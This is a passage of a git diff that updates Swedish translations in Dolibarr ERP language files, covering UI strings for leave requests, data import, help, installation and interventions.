+DeleteConferenceOrBoothAttendee=Ta bort deltagare +RegistrationAndPaymentWereAlreadyRecorder=En registrering och en betalning har redan registrerats för e-postadressen%s +EmailAttendee=Deltagarens e-post +EmailCompany=Företagets e-post +EmailCompanyForInvoice=Företagets e-postadress (för faktura, om den skiljer sig från deltagarens e-postadress) +ErrorSeveralCompaniesWithEmailContactUs=Flera företag med denna e-postadress har hittats så vi kan inte bekräfta din registrering automatiskt. Kontakta oss på %s för en manuell bekräftelse +ErrorSeveralCompaniesWithNameContactUs=Flera företag med detta namn har hittats så vi kan inte validera din registrering automatiskt. Kontakta oss på %s för en manuell validering +NoPublicActionsAllowedForThisEvent=Det finns inga åtgärder som är öppna för allmänheten för detta evenemang +MaxNbOfAttendees=Max antal deltagare +DateStartEvent=Eventets startdatum +DateEndEvent=Eventets slutdatum diff --git a/htdocs/langs/sv_SE/exports.lang b/htdocs/langs/sv_SE/exports.lang index b4815bb027b..eecba4709d7 100644 --- a/htdocs/langs/sv_SE/exports.lang +++ b/htdocs/langs/sv_SE/exports.lang @@ -18,6 +18,7 @@ ExportableFields=Exporterbara fält ExportedFields=Exporterade fält ImportModelName=Importera profilnamn ImportModelSaved=Importprofilen sparad som %s . +ImportProfile=Importera profil DatasetToExport=Dataset att exportera DatasetToImport=Importera fil till dataset ChooseFieldsOrdersAndTitle=Välj fältordning ... @@ -46,15 +47,16 @@ LineDescription=Beskrivning av linjen LineUnitPrice=Priset per enhet på linjen LineVATRate=Momssats på linjen LineQty=Kvantitet för linje -LineTotalHT=Belopp exkl. skatt för linje -LineTotalTTC=Belopp med skatt för linje +LineTotalHT=Belopp exkl. moms för linje +LineTotalTTC=Belopp inkl. moms för linje LineTotalVAT=Det mervärdesskattebelopp för linje TypeOfLineServiceOrProduct=Typ av linje (0 = produkt, 1 = tjänst) FileWithDataToImport=Fil med data för att importera FileToImport=Källa fil du vill importera FileMustHaveOneOfFollowingFormat=Fil som ska importeras måste ha ett av följande format -DownloadEmptyExample=Download a template file with examples and information on fields you can import -StarAreMandatory=Into the template file, all fields with a * are mandatory fields +DownloadEmptyExampleShort=Ladda ner en exempelfil +DownloadEmptyExample=Ladda ner en mallfil med exempel och information om fält du kan importera +StarAreMandatory=I mallfilen är alla fält med en * obligatoriska fält ChooseFormatOfFileToImport=Välj det filformat som ska användas som importfilformat genom att klicka på ikonen %s för att välja den ... ChooseFileToImport=Ladda upp filen och klicka sedan på %s ikonen för att välja fil som källa importfil ... SourceFileFormat=Källa filformat @@ -82,7 +84,7 @@ SelectFormat=Välj denna import filformat RunImportFile=Importera datan NowClickToRunTheImport=Kontrollera resultaten av importimuleringen. Korrigera eventuella fel och ompröva.
      När simuleringen rapporterar inga fel kan du fortsätta att importera data till databasen. DataLoadedWithId=Den importerade data kommer att ha ett tilläggsfält i varje databastabell med detta import-id: %s , så att det kan sökas vid undersökning av ett problem relaterat till denna import. -ErrorMissingMandatoryValue=Obligatoriska uppgifter är tomma i källfilen för fält %s . +ErrorMissingMandatoryValue=Obligatoriska uppgifter är tomma i källfilen i kolumn %s . TooMuchErrors=Det finns fortfarande %s andra källlinjer med fel men utsignalen är begränsad. TooMuchWarnings=Det finns fortfarande %s andra källlinjer med varningar men utmatningen har varit begränsad. EmptyLine=Tom rad (kommer att slängas) @@ -92,12 +94,12 @@ YouCanUseImportIdToFindRecord=Du kan hitta alla importerade poster i din databas NbOfLinesOK=Antal rader utan fel och inga varningar: %s. NbOfLinesImported=Antal rader importerades: %s. DataComeFromNoWhere=Värde att infoga kommer från ingenstans i källfilen. -DataComeFromFileFieldNb=Värde att infoga kommer från nummer %s fältet i källfilen. -DataComeFromIdFoundFromRef=Värdet som kommer från fältnummer %s av källfilen kommer att användas för att hitta identifieringsobjektets parentes att använda (så objektet %s som har referens från källfilen måste finnas i databasen). -DataComeFromIdFoundFromCodeId=Kod som kommer från fältnummer %s av källfilen kommer att användas för att hitta identifieringsobjektets id att använda (så koden från källfilen måste finnas i ordlistan %s ). Observera att om du vet id, kan du också använda den i källfilen istället för koden. Importen ska fungera i båda fallen. +DataComeFromFileFieldNb=Värdet att infoga kommer från kolumnen %s i källfilen. +DataComeFromIdFoundFromRef=Värdet som kommer från källfilen kommer att användas för att hitta id för det överordnade objektet som ska användas (så objektet %s som har ref. från källfilen måste finnas i databasen). +DataComeFromIdFoundFromCodeId=Värdet på koden som kommer från källfilen kommer att användas för att hitta id för det överordnade objektet som ska användas (så koden från källfilen måste finnas i ordboken %s ). Observera att om du känner till id:t kan du också använda det i källfilen istället för koden. Import bör fungera i båda fallen. DataIsInsertedInto=Uppgifter från källfilen kommer att införas i följande område: -DataIDSourceIsInsertedInto=The id of the parent object, that was found using the data in the source file, will be inserted into the following field: -DataCodeIDSourceIsInsertedInto=The id of the parent line, that was found from code, will be inserted into the following field: +DataIDSourceIsInsertedInto=ID:t för det överordnade objektet, som hittades med hjälp av data i källfilen, kommer att infogas i följande fält: +DataCodeIDSourceIsInsertedInto=ID:t för den överordnade raden, som hittades från koden, kommer att infogas i följande fält: SourceRequired=Data värde är obligatoriskt SourceExample=Exempel på möjliga datavärde ExampleAnyRefFoundIntoElement=Varje ref för element %s @@ -132,9 +134,14 @@ FormatControlRule=Formatera kontrollregeln ## imports updates KeysToUseForUpdates=Nyckel (kolumn) som ska användas för uppdatering av befintliga data NbInsert=Antal infogade rader: %s +NbInsertSim=Antal rader som kommer att infogas: %s NbUpdate=Antal uppdaterade rader: %s +NbUpdateSim=Antal rader som kommer att uppdateras: %s MultipleRecordFoundWithTheseFilters=Flera poster har hittats med dessa filter: %s StocksWithBatch=Lager och plats (lager) för produkter med batch / serienummer -WarningFirstImportedLine=The first line(s) will not be imported with the current selection -NotUsedFields=Fields of database not used -SelectImportFieldsSource = Choose the source file fields you want to import and their target field in database by choosing the fields in each select boxes, or select a predefined import profile: +WarningFirstImportedLine=De första raderna kommer inte att importeras med det aktuella valet +NotUsedFields=Databasfält används inte +SelectImportFieldsSource = Välj källfilsfälten du vill importera och deras målfält i databasen genom att välja fälten i varje markeringsruta, eller välj en fördefinierad importprofil: +MandatoryTargetFieldsNotMapped=Vissa obligatoriska målfält är inte mappade +AllTargetMandatoryFieldsAreMapped=Alla målfält som behöver ett obligatoriskt värde mappas +ResultOfSimulationNoError=Resultat av simulering: Inget fel diff --git a/htdocs/langs/sv_SE/help.lang b/htdocs/langs/sv_SE/help.lang index 696e7f5bdaa..3893e4818ff 100644 --- a/htdocs/langs/sv_SE/help.lang +++ b/htdocs/langs/sv_SE/help.lang @@ -1,23 +1,23 @@ # Dolibarr language file - Source file is en_US - help -CommunitySupport=Forum / Wiki stöd -EMailSupport=E-postmeddelanden stöd -RemoteControlSupport=Online realtid / fjärrsupport -OtherSupport=Annat stöd -ToSeeListOfAvailableRessources=För att kontakta / se tillgängliga resurser: +CommunitySupport=Forum/Wiki +EMailSupport=E-postsupport +RemoteControlSupport=Online realtid/fjärrsupport +OtherSupport=Annan support +ToSeeListOfAvailableRessources=För att kontakta/se tillgängliga resurser: HelpCenter=Hjälpcenter -DolibarrHelpCenter=Dolibarr Help and Support Center -ToGoBackToDolibarr=Otherwise, click here to continue to use Dolibarr. -TypeOfSupport=Type of support +DolibarrHelpCenter=Dolibarr Hjälp och Supportcenter +ToGoBackToDolibarr=Annars, klicka här för att fortsätta använda Dolibarr. +TypeOfSupport=Typ av support TypeSupportCommunauty=Gemenskapen (gratis) -TypeSupportCommercial=Kommersiella +TypeSupportCommercial=Kommersiell TypeOfHelp=Typ NeedHelpCenter=Behöver du hjälp eller stöd? Efficiency=Effektivitet TypeHelpOnly=Hjälp endast TypeHelpDev=Hjälp + Utveckling -TypeHelpDevForm=Help+Development+Training -BackToHelpCenter=Otherwise, go back to Help center home page. -LinkToGoldMember=You can call one of the trainers preselected by Dolibarr for your language (%s) by clicking their Widget (status and maximum price are automatically updated): +TypeHelpDevForm=Hjälp + Utveckling + Utbildning +BackToHelpCenter=Annars kan du gå tillbaka till start för hjälpcentret. +LinkToGoldMember=Du kan ringa en av de utbildare som valts ut av Dolibarr för just ditt språk (%s) genom att klicka på deras Widget (status och högsta pris uppdateras automatiskt): PossibleLanguages=Språk som stöds -SubscribeToFoundation=Help the Dolibarr project, subscribe to the foundation -SeeOfficalSupport=För officiell Dolibarr support på ditt språk:
      %s +SubscribeToFoundation=Hjälp Dolibarr-projektet, prenumerera hos stiftelsen +SeeOfficalSupport=För officiell Dolibarr-support på ditt språk:
      %s diff --git a/htdocs/langs/sv_SE/holiday.lang b/htdocs/langs/sv_SE/holiday.lang index f216ac98992..40d897dfd10 100644 --- a/htdocs/langs/sv_SE/holiday.lang +++ b/htdocs/langs/sv_SE/holiday.lang @@ -1,11 +1,13 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Lämna -CPTitreMenu=Lämna +Holidays=Semester +Holiday=Ledighet +CPTitreMenu=Ledighet MenuReportMonth=Månatlig rapport MenuAddCP=Ny ledighetsansökan -NotActiveModCP=Du måste aktivera modulen Lämna för att se den här sidan. -AddCP=Gör en förfrågan ledighet +MenuCollectiveAddCP=Ny förfrågan om kollektivledighet +NotActiveModCP=Du måste aktivera modulen Ledighet för att se den här sidan. +AddCP=Skapa en ledighetsansökan DateDebCP=Startdatum DateFinCP=Slutdatum DraftCP=Utkast @@ -15,8 +17,8 @@ CancelCP=Annullerad RefuseCP=Refused ValidatorCP=Godkännare ListeCP=Förteckning över ledighet -Leave=Lämna begäran -LeaveId=Lämna ID +Leave=Ledighetsansökan +LeaveId=Ledighets ID ReviewedByCP=Kommer att godkännas av UserID=användar ID UserForApprovalID=Användare för godkännande-ID @@ -24,18 +26,18 @@ UserForApprovalFirstname=Förnamn för godkännande användare UserForApprovalLastname=Efternamn för godkännandeanvändare UserForApprovalLogin=Inloggning av godkännande användaren DescCP=Beskrivning -SendRequestCP=Skapa permission begäran -DelayToRequestCP=Lämna begäran måste göras minst %s dag (ar) före dem. +SendRequestCP=Skapa ledighetsansökan +DelayToRequestCP=Ledighetsansökan måste göras minst %s dag (ar) före dem. MenuConfCP=Lönebalans -SoldeCPUser=Leave balance (in days) %s +SoldeCPUser=Semesterbalans (i dagar) %s ErrorEndDateCP=Du måste välja ett slutdatum senare än startdatum. ErrorSQLCreateCP=Ett SQL-fel uppstod under skapandet: -ErrorIDFicheCP=Ett fel har uppstått, inte existerar begäran ledighet. +ErrorIDFicheCP=Ett fel har uppstått, ledighetsansökan finns inte ReturnCP=Tillbaka till föregående sida -ErrorUserViewCP=Du har inte behörighet att läsa denna ledighet begäran. +ErrorUserViewCP=Du har inte behörighet att läsa denna ledighetsansökan InfosWorkflowCP=Information Workflow RequestByCP=Begäran från -TitreRequestCP=Lämna begäran +TitreRequestCP=Ledighetsansökan TypeOfLeaveId=Typ av ledighet ID TypeOfLeaveCode=Typ av ledighetskod TypeOfLeaveLabel=Typ av lämnad etikett @@ -51,23 +53,24 @@ DeleteCP=Ta bort ActionRefuseCP=Vägra ActionCancelCP=Avbryt StatutCP=Status -TitleDeleteCP=Radera begäran ledighet +TitleDeleteCP=Radera ledighetsansökan ConfirmDeleteCP=Bekräfta raderingen av denna ledighet förfrågan? -ErrorCantDeleteCP=Fel att du inte har rätt att ta bort denna ledighet begäran. +ErrorCantDeleteCP=Fel att du inte har rätt att ta bort denna ledighetsansökan CantCreateCP=Du har inte rätt att göra ledighet förfrågningar. -InvalidValidatorCP=Du måste välja godkännare för din ledighetsförfrågan. +InvalidValidatorCP=Du måste välja godkännare för din ledighetsansökan. +InvalidValidator=Den valda användaren är inte en godkännare. NoDateDebut=Du måste välja ett startdatum. NoDateFin=Du måste välja ett slutdatum. -ErrorDureeCP=Din ledighet framställningen inte innehåller arbetsdag. -TitleValidCP=Godkänna begäran ledighet -ConfirmValidCP=Är du säker på att du vill godkänna begäran ledighet? +ErrorDureeCP=Din ledighetsansökan innehåller ingen arbetsdag. +TitleValidCP=Godkänn ledighetsansökan +ConfirmValidCP=Är du säker på att du vill godkänna ledighetsansökan? DateValidCP=Datum godkänd -TitleToValidCP=Skicka permission begäran -ConfirmToValidCP=Är du säker på att du vill skicka en begäran ledighet? -TitleRefuseCP=Avslå begäran ledighet -ConfirmRefuseCP=Är du säker på att du vill avslå begäran ledighet? -NoMotifRefuseCP=Du måste välja ett skäl för att vägra begäran. -TitleCancelCP=Avbryta begäran ledighet +TitleToValidCP=Skicka ledighetsansökan +ConfirmToValidCP=Är du säker på att du vill skicka en ledighetsansökan? +TitleRefuseCP=Avslå ledighetsansökan +ConfirmRefuseCP=Är du säker på att du vill avslå ledighetsansökan? +NoMotifRefuseCP=Du måste välja ett skäl för att neka förfrågan. +TitleCancelCP=Avbryt ledighetsansökan ConfirmCancelCP=Är du säker på att du vill avbryta din semester? DetailRefusCP=Orsak till avslag DateRefusCP=Datum för avslag @@ -79,24 +82,33 @@ MotifCP=Reason UserCP=Användare ErrorAddEventToUserCP=Ett fel uppstod när den exceptionella ledighet. AddEventToUserOkCP=Tillägget av den exceptionella ledigheten har slutförts. +ErrorFieldRequiredUserOrGroup=Fältet "grupp" eller "användare" måste fyllas i +fusionGroupsUsers=Gruppfältet och användarfältet kommer att slås samman MenuLogCP=Kontrollera ändringsloggen LogCP=Logg över alla uppdateringar gjorda av "Balans av ledighet" ActionByCP=Uppdaterad av UserUpdateCP=Uppdaterad för PrevSoldeCP=Föregående Balance NewSoldeCP=New Balance -alreadyCPexist=En begäran ledigheten har redan gjorts på denna period. -FirstDayOfHoliday=Börjedag för begäran om ledighet +alreadyCPexist=En ledighetsansökan har redan gjorts på denna period. +UseralreadyCPexist=En ledighetsansökan har redan gjorts för denna period för %s. +groups=Grupper +users=Användare +AutoSendMail=Automatisk utskick +NewHolidayForGroup=Ny förfrågan om kollektivledighet +SendRequestCollectiveCP=Skicka förfrågan om kollektiv ledighet +AutoValidationOnCreate=Automatisk validering +FirstDayOfHoliday=Startdag för ledighetsansökan LastDayOfHoliday=Slutdagens ledighetsförfrågan -BoxTitleLastLeaveRequests=Senaste %s ändrade lämnar förfrågningar +BoxTitleLastLeaveRequests=Senaste %s ändrade ledighetsansökningar HolidaysMonthlyUpdate=Månads uppdatering ManualUpdate=Manuell uppdatering -HolidaysCancelation=Lämna begäran Spärr +HolidaysCancelation=Spärra ledighetsansökan EmployeeLastname=Medarbetare efternamn EmployeeFirstname=Medarbetare förnamn TypeWasDisabledOrRemoved=Avlastnings typ (id %s) var inaktiverad eller borttagen -LastHolidays=Senaste %s lämnar förfrågningar -AllHolidays=Alla lämnar förfrågningar +LastHolidays=Senaste %s ledighetsansökningar +AllHolidays=Alla ledighetsansökningar HalfDay=Halv dag NotTheAssignedApprover=Du är inte den tilldelade godkännaren LEAVE_PAID=Betald semester @@ -107,33 +119,40 @@ LEAVE_PAID_FR=Betald semester LastUpdateCP=Senaste automatiska uppdateringen av tilldelning av ledighet MonthOfLastMonthlyUpdate=Månad för senaste automatiska uppdatering av tilldelning av ledighet UpdateConfCPOK=Uppdaterats. -Module27130Name= Hantering av ledighet förfrågningar -Module27130Desc= Hantering av ledighet förfrågningar +Module27130Name= Hantering av ledighetsansökan +Module27130Desc= Hantering av ledighetansökningar ErrorMailNotSend=Ett fel uppstod när du skickar e-post: NoticePeriod=Uppsägningstid #Messages -HolidaysToValidate=Bekräfta ledighets förfrågningar -HolidaysToValidateBody=Nedan finns en ledighet begäran om att bekräfta -HolidaysToValidateDelay=Denna ledighet begäran kommer att ske inom en period på mindre än %s dagar. -HolidaysToValidateAlertSolde=Användaren som gjorde denna begäran om förfrågan har inte tillräckligt med lediga dagar. -HolidaysValidated=Bekräftade ledighets förfrågningar -HolidaysValidatedBody=Din ledighets begäran om %s till %s har bekräftats. -HolidaysRefused=Begäran nekades -HolidaysRefusedBody=Din begäran om förflyttning för %s till %s har blivit nekad av följande orsak: -HolidaysCanceled=Annulleras leaved begäran -HolidaysCanceledBody=Din ledighet begäran om %s till %s har avbrutits. +HolidaysToValidate=Bekräfta ledighetsansökningar +HolidaysToValidateBody=Nedan finns en ledighetsansökan att bekräfta +HolidaysToValidateDelay=Denna ledighetsansökan kommer vara inom en period kortare än %sdagar. +HolidaysToValidateAlertSolde=Användaren som skapat denna ledighetsansökan har inte tillräckligt tillgängliga dagar. +HolidaysValidated=Bekräftade ledighetsansökningar +HolidaysValidatedBody=Din ledighetsansökan från %s till %s har bekräftats. +HolidaysRefused=Begäran nekad +HolidaysRefusedBody=Din ledighetsansökan från %s till %s har blivit nekad av följande orsak: +HolidaysCanceled=Annulerad ledighetsansökan +HolidaysCanceledBody=Din ledighetsansökan om %s till %s har avbrutits FollowedByACounter=1: Denna typ av ledighet måste följas av en räknare. Räknaren ökas manuellt eller automatiskt och när en förfrågningsbegäran är validerad minskas räknaren.
      0: Ej följd av en räknare. -NoLeaveWithCounterDefined=Det finns inga lämna typer som måste följas av en räknare -GoIntoDictionaryHolidayTypes=Gå in i Hem - Inställning - Ordböcker - Typ av tjänst för att konfigurera olika typer av löv. -HolidaySetup=Installation av modulen Lämna -HolidaysNumberingModules=Numreringsmodeller för ledighetsförfrågningar -TemplatePDFHolidays=Mall för lämningsförfrågningar PDF +NoLeaveWithCounterDefined=Det finns inga ledighetstyper som måste följas av en räknare +GoIntoDictionaryHolidayTypes=Gå in i Hem - Inställning - Ordböcker - Typ av ledighet för att konfigurera olika typer av löv. +HolidaySetup=Installation av modulen Ledighet +HolidaysNumberingModules=Numreringsmodeller för ledighetsansökningar +TemplatePDFHolidays=Mall för ledighetsansökan PDF FreeLegalTextOnHolidays=Gratis text på PDF WatermarkOnDraftHolidayCards=Vattenstämplar på utkastsförfrågningar HolidaysToApprove=Semester att godkänna NobodyHasPermissionToValidateHolidays=Ingen har tillstånd att godkänna helgdagar HolidayBalanceMonthlyUpdate=Månadsuppdatering av semestersaldot -XIsAUsualNonWorkingDay=%s is usualy a NON working day -BlockHolidayIfNegative=Block if balance negative -LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative -ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +XIsAUsualNonWorkingDay=%s är vanligtvis en INTE arbetsdag +BlockHolidayIfNegative=Blockera om saldot är negativt +LeaveRequestCreationBlockedBecauseBalanceIsNegative=Skapandet av denna ledighetsansökan är blockerad eftersom ditt saldo är negativt +ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Ledighetsansökan %s måste vara utkast, avbruten eller nekad för att raderas +IncreaseHolidays=Öka semestern +HolidayRecordsIncreased= %s semester ökad +HolidayRecordIncreased=Semester ökad +ConfirmMassIncreaseHoliday=Massa semesterökning +NumberDayAddMass=Antal dagar att lägga till i urvalet +ConfirmMassIncreaseHolidayQuestion=Är du säker på att du vill öka semestern för de %s valda posterna? +HolidayQtyNotModified=Saldot av återstående dagar för %s har inte ändrats diff --git a/htdocs/langs/sv_SE/install.lang b/htdocs/langs/sv_SE/install.lang index bd463e4ecb5..ef6ea8d0365 100644 --- a/htdocs/langs/sv_SE/install.lang +++ b/htdocs/langs/sv_SE/install.lang @@ -8,7 +8,7 @@ ConfFileIsNotWritable=Konfigurationsfil %s är inte skrivbar. Kontrolle ConfFileIsWritable=Konfigurationsfilen %s är skrivbar. ConfFileMustBeAFileNotADir=Konfigurationsfil %s måste vara en fil, inte en katalog. ConfFileReload=Uppdatera parametrar från konfigurationsfilen. -NoReadableConfFileSoStartInstall=The configuration file conf/conf.php does not exists or is not readable. We will run the installation process to try to initialize it. +NoReadableConfFileSoStartInstall=Konfigurationsfilen conf/conf.php finns inte eller är inte läsbar. Vi kommer att köra installationsprocessen för att försöka initiera den. PHPSupportPOSTGETOk=Detta stöder PHP variabler POST och GET. PHPSupportPOSTGETKo=Det är möjligt att din PHP-inställning inte stöder variabler POST och / eller GET. Kontrollera parametern variables_order i php.ini. PHPSupportSessions=Detta stöder PHP sessioner. @@ -24,11 +24,11 @@ ErrorWrongValueForParameter=Du kan ha skrivit fel värde för parametern "% ErrorFailedToCreateDatabase=Misslyckades med att skapa databasen %s. ErrorFailedToConnectToDatabase=Det gick inte att ansluta till databasen "%s". ErrorDatabaseVersionTooLow=Databasens version (%s) för gammal. Version %s eller senare krävs. -ErrorPHPVersionTooLow=PHP version too old. Version %s or higher is required. -ErrorPHPVersionTooHigh=PHP version too high. Version %s or lower is required. +ErrorPHPVersionTooLow=PHP-versionen är för gammal. Version %s eller högre krävs. +ErrorPHPVersionTooHigh=PHP-versionen är för hög. Version %s eller lägre krävs. ErrorConnectedButDatabaseNotFound=Anslutning till servern lyckad men databasen '%s' hittades inte. ErrorDatabaseAlreadyExists=Databas "%s" finns redan. -ErrorNoMigrationFilesFoundForParameters=No migration file found for the selected versions +ErrorNoMigrationFilesFoundForParameters=Ingen migreringsfil hittades för de valda versionerna IfDatabaseNotExistsGoBackAndUncheckCreate=Om databasen inte existerar, gå tillbaka och kolla alternativet "Skapa databas". IfDatabaseExistsGoBackAndCheckCreate=Om databasen redan finns, gå tillbaka och avmarkera "Skapa databasen" valen. WarningBrowserTooOld=Versionen av webbläsaren är för gammal. Uppgradering av webbläsaren till en ny version av Firefox, Chrome eller Opera rekommenderas starkt. @@ -51,7 +51,6 @@ DatabaseName=Databas namn DatabasePrefix=Databas tabell prefix DatabasePrefixDescription=Databas tabell prefix. Om tomt är standardvärdet llx_. AdminLogin=Användarkonto för Dolibarr databasägare. -PasswordAgain=Skriv in lösenordsbekräftelsen igen AdminPassword=Lösenord för Dolibarr databas ägaren. CreateDatabase=Skapa databas CreateUser=Skapa användarkonto eller bevilja användarkonto behörighet i Dolibarr databasen @@ -89,7 +88,7 @@ LoginAlreadyExists=Redan finns DolibarrAdminLogin=Dolibarr admin logik AdminLoginAlreadyExists=Dolibarr administratörskonto ' %s ' existerar redan. Gå tillbaka om du vill skapa en annan. FailedToCreateAdminLogin=Misslyckades med att skapa Dolibarr administratörskonto. -WarningRemoveInstallDir=Varning av säkerhetsskäl, när installationen eller uppgraderingen är klar ska du lägga till en fil som heter install.lock i Dolibarr-dokumentkatalogen för att förhindra att installeringsverktygen används oavsiktligt / skadligt igen. +WarningRemoveInstallDir=Varning, av säkerhetsskäl, när installationsprocessen är klar måste du lägga till en fil som heter install.lock i Dolibarr-dokumentkatalogen för att förhindra oavsiktlig/skadlig användning av installationsverktygen igen. FunctionNotAvailableInThisPHP=Ej tillgängligt i detta PHP ChoosedMigrateScript=Välj migration script DataMigration=Databasmigration (data) @@ -159,26 +158,26 @@ MigrationPaymentsNumberToUpdate=%s betalning (s) att uppdatera MigrationProcessPaymentUpdate=Uppdatera betalning (s) %s MigrationPaymentsNothingToUpdate=Inga fler saker att göra MigrationPaymentsNothingUpdatable=Inga fler betalningar som kan rättas till -MigrationContractsUpdate=Kontrakt data korrigering +MigrationContractsUpdate=Kontraktdata korrigering MigrationContractsNumberToUpdate=%s kontrakt (s) att uppdatera -MigrationContractsLineCreation=Skapa kontrakt linje för %s kontrakt ref +MigrationContractsLineCreation=Skapa kontraktsrader för %s kontrakt ref MigrationContractsNothingToUpdate=Inga fler saker att göra MigrationContractsFieldDontExist=Fält fk_facture existerar inte längre. Inget att göra. -MigrationContractsEmptyDatesUpdate=Kontrakt tom datum korrigering +MigrationContractsEmptyDatesUpdate=Datumkorrigering av tomt datum för kontrakt MigrationContractsEmptyDatesUpdateSuccess=Kontrakt tom datumkorrigering gjord framgångsrikt -MigrationContractsEmptyDatesNothingToUpdate=Inga kontrakt tom datum för att korrigera +MigrationContractsEmptyDatesNothingToUpdate=Inga kontrakt utan datum att korrigera MigrationContractsEmptyCreationDatesNothingToUpdate=Inget avtal datum för skapande att korrigera MigrationContractsInvalidDatesUpdate=Bad valuteringsdag kontrakt korrigering -MigrationContractsInvalidDateFix=Rätt kontrakt %s (Contract datum = %s, som börjar min tjänst datum = %s) +MigrationContractsInvalidDateFix=Rätta kontrakt %s (Contract datum = %s, som börjar min tjänst datum = %s) MigrationContractsInvalidDatesNumber=%s kontrakt modifierade MigrationContractsInvalidDatesNothingToUpdate=Inget datum med dålig värde för att korrigera -MigrationContractsIncoherentCreationDateUpdate=Dåligt värde kontraktet datum för skapande korrigering -MigrationContractsIncoherentCreationDateUpdateSuccess=Dålig värdering av kontraktsdatum skapades korrekt -MigrationContractsIncoherentCreationDateNothingToUpdate=Inget dåligt värde för kontrakt skapande datum för att korrigera -MigrationReopeningContracts=Öppna kontraktet stängs av misstag +MigrationContractsIncoherentCreationDateUpdate=Felaktigt värde kontraktet datum för skapande korrigering +MigrationContractsIncoherentCreationDateUpdateSuccess=Felaktigt värdering av kontraktsdatum skapades korrekt +MigrationContractsIncoherentCreationDateNothingToUpdate=Inget felaktigt värde för kontrakt skapande datum för att korrigera +MigrationReopeningContracts=Öppna kontraktet som stängs av misstag MigrationReopenThisContract=Öppna kontrakt %s MigrationReopenedContractsNumber=%s kontrakt modifierade -MigrationReopeningContractsNothingToUpdate=Ingen stängd kontrakt för att öppna +MigrationReopeningContractsNothingToUpdate=Inget stängt kontrakt att öppna MigrationBankTransfertsUpdate=Uppdatera länkar mellan bankpost och banköverföring MigrationBankTransfertsNothingToUpdate=Alla länkar är uppdaterade MigrationShipmentOrderMatching=Sendings kvitto uppdatering @@ -209,7 +208,12 @@ HideNotAvailableOptions=Dölj otillgängliga alternativ ErrorFoundDuringMigration=Fel (er) rapporterades under migreringsprocessen så nästa steg är inte tillgängligt. För att ignorera fel kan du klicka här , men programmet eller vissa funktioner kanske inte fungerar korrekt tills felen har lösts. YouTryInstallDisabledByDirLock=Applikationen försökte självuppgradera, men installations- / uppgraderingssidorna har inaktiverats för säkerhet (katalog omdämd med .lock-suffix).
      YouTryInstallDisabledByFileLock=Applikationen försökte självuppgradera, men installations- / uppgraderingssidorna har inaktiverats för säkerhet (genom att det finns en låsfil install.lock i katalogen dolibarr documents).
      +YouTryUpgradeDisabledByMissingFileUnLock=Applikationen försökte självuppgradera, men uppgraderingsprocessen är för närvarande inte tillåten.
      ClickHereToGoToApp=Klicka här för att gå till din ansökan ClickOnLinkOrRemoveManualy=Vänta, om en uppgradering pågår. Om inte, klicka på följande länk. Om du alltid ser samma sida måste du ta bort / byta namn på filen install.lock i dokumentkatalogen. -Loaded=Lastad +ClickOnLinkOrCreateUnlockFileManualy=Om en uppgradering pågår, vänta... Om inte måste du skapa en fil upgrade.unlock till Dolibarrs dokumentkatalog. +Loaded=Laddad FunctionTest=Funktionstest +NodoUpgradeAfterDB=Ingen åtgärd begärd av externa moduler efter uppgradering av databasen +NodoUpgradeAfterFiles=Ingen åtgärd begärd av externa moduler efter uppgradering av filer eller kataloger +MigrationContractLineRank=Migrera kontraktsrad för att använda Rank (och aktivera omordning) diff --git a/htdocs/langs/sv_SE/interventions.lang b/htdocs/langs/sv_SE/interventions.lang index f3f970777f2..8ed248906bc 100644 --- a/htdocs/langs/sv_SE/interventions.lang +++ b/htdocs/langs/sv_SE/interventions.lang @@ -1,68 +1,72 @@ # Dolibarr language file - Source file is en_US - interventions -Intervention=Insats -Interventions=Insatser -InterventionCard=Insatskort -NewIntervention=Nya insatser -AddIntervention=Skapa insats -ChangeIntoRepeatableIntervention=Byt till repeterbar insats -ListOfInterventions=Förteckning över åtgärder -ActionsOnFicheInter=Åtgärder för insats +Intervention=Intervention +Interventions=Interventioner +InterventionCard=Interventionskort +NewIntervention=Ny intervention +AddIntervention=Skapa intervention +ChangeIntoRepeatableIntervention=Ändra till upprepningsbar intervention +ListOfInterventions=Lista interventioner +ActionsOnFicheInter=Åtgärder för intervention LastInterventions=Senaste %s interventionerna -AllInterventions=Alla insatser +AllInterventions=Alla interventioner CreateDraftIntervention=Skapa utkast -InterventionContact=Insatskontakt -DeleteIntervention=Ta bort insats -ValidateIntervention=Bekräfta insats -ModifyIntervention=Ändra insats -DeleteInterventionLine=Ta bort insats linje -ConfirmDeleteIntervention=Är du säker på att du vill radera detta insats? -ConfirmValidateIntervention=Är du säker på att du vill bekräfta detta insats under namnet %s ? -ConfirmModifyIntervention=Är du säker på att du vill ändra detta insats? -ConfirmDeleteInterventionLine=Är du säker på att du vill ta bort denna interventionslinje? -ConfirmCloneIntervention=Är du säker på att du vill klona detta insats? -NameAndSignatureOfInternalContact=Namn och underskrift av intervenient: +InterventionContact=Kontakt för intervention +DeleteIntervention=Ta bort intervention +ValidateIntervention=Bekräfta intervention +ModifyIntervention=Ändra intervention +DeleteInterventionLine=Ta bort rad +ConfirmDeleteIntervention=Är du säker på att du vill radera denna intervention? +ConfirmValidateIntervention=Är du säker på att du vill bekräfta denna intervention under namnet %s? +ConfirmModifyIntervention=Är du säker på att du vill ändra denna intervention? +ConfirmDeleteInterventionLine=Är du säker på att du vill ta bort denna interventionsrad? +ConfirmCloneIntervention=Är du säker på att du vill klona denna intervention? +NameAndSignatureOfInternalContact=Namn och underskrift: NameAndSignatureOfExternalContact=Kundens namn och underskrift: -DocumentModelStandard=Standarddokument modell för insatser -InterventionCardsAndInterventionLines=Insats och linjer av interventioner -InterventionClassifyBilled=Märk "Fakturerad" -InterventionClassifyUnBilled=Classify "ofakturerade" -InterventionClassifyDone=Märk "klar" +DocumentModelStandard=Modell för standarddokument för interventioner +InterventionCardsAndInterventionLines=Interventioner och rader med interventioner +InterventionClassifyBilled=Markera som fakturerad +InterventionClassifyUnBilled=Markera som ofakturerad +InterventionClassifyDone=Markera som klar StatusInterInvoiced=Fakturerade -SendInterventionRef=Inlämning av insats %s -SendInterventionByMail=Skicka insats via e-post -InterventionCreatedInDolibarr=Insats %s skapad -InterventionValidatedInDolibarr=Insats %s bekräftades -InterventionModifiedInDolibarr=Insats %s modifierade -InterventionClassifiedBilledInDolibarr=Insats 